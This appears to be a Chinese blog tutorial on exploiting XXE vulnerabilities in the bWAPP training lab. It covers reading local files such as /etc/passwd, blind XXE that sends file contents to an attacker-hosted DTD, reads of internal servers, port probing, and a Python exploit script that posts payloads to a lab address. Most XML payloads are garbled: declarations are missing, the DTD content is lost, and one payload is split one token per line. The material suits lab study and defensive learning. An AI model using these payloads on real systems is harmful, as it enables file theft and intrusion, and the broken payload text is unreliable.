这几天在学习XXE漏洞,这里用靶机bwapp来练习一下这个漏洞,重在学习
xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,
从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,
可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如
wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。
不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,
这里简单来说就是攻击者必须具有一台具有公网ip的主机.
首先要明白xxe漏洞是如何读取文件的:
file:///etc/passwd">
&name;
此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且
文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.
首先观察这个http包,在包头中可以观察到文件接收者以xml的形式读取文件,符合xxe漏洞的条件,然后
服务器会正常返回在body中post过去的xml代码执行内容.此时就可以构造恶意的xml代码,可以看见
服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非blind型的xxe).
针对blind的xxe,可以构造如下xml恶意代码:
%remote;%ppp;%send;
]>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件
写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
">
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,然后加载ppp参数实体,
接下来加载send实体,此时就是关键点,就是用于记载服务器端的返回内容(通过get查询方式会在攻击者的服务器
日志中留下记录),查询的字符串p的值便是参数实体name的值.
以上便是xxe漏洞的基本流程
手工检测方法:
]>
&shit;
如果在返回了this is a test 则继续测试是否可以加载外部实体
%shit;
]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
如果不能回显,毫无疑问,使用Blind XXE攻击方法。
--------------------------------------------------------------------------------------
基本知识也了解的差不多,现在我们打开bwapp靶机:
LOW等级:
我们用burp抓包看看数据传输情况(都知道是XXE了,肯定要抓包看看XML数据的传输情况啦):
打开burp,点击页面any bugs进行抓包:
可以看到xxe-1.php页面以post方式向xxe-2.php页面传输了XML数据,所以我们可以自己尝试构建实体,
如果后台没有合理的解析参数,就有可以造成XXE漏洞。修改的内容,知道这里解析login参数并回显
增加一个恶意外部实体然后在原本的XML数据中进行实体调用,来进行XXE攻击。具体如图,右侧
为返回的d:/xxetest.txt文件内容,XXE攻击成功,我们读取了windows的重要文件:
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
file:///d://xxetest.txt
">
]>
<
reset
>
<
login
>&test;
login
>
<
secret
>login
secret
>
reset
>
当然,我们也可以利用XXE来读取网站目录下的一些重要文件,p.s:读取内网中其他服务器文件也是可行的,
这也是BWAPP作者将XXE归到SSRF利用里原因,我们随便测试个文件试试看,右侧返回了文件内容:
]>
&test;
login
我们也可以来测试端口是否开放,这里拿80端口是否开放演示:
]>
&xxe; Any bugs?
若80端口开放,回显如下的报错信息
若端口不开放,则显示如下信息:
利用python写了一个简单的exp,进行测试,如下:
#coding=utf-8
import requests
if __name__ == '__main__':
payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd\npayload:'.decode('utf-8').encode('gbk'))
url = 'http://172.19.89.86/bWAPP/bWAPP/xxe-2.php'
headers = {'Content-type':'text/xml'}
cookies = {'PHPSESSID':'0gbae4b3f9fsofkcdn4k33ere1','security_level':'0'}
xml = ']>&test; login '
r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
print r.content
读取d:/xxetest.txt:
参考链接:
https://blog.csdn.net/u011721501/article/details/43775691#commentBox
https://thief.one/2017/06/20/1/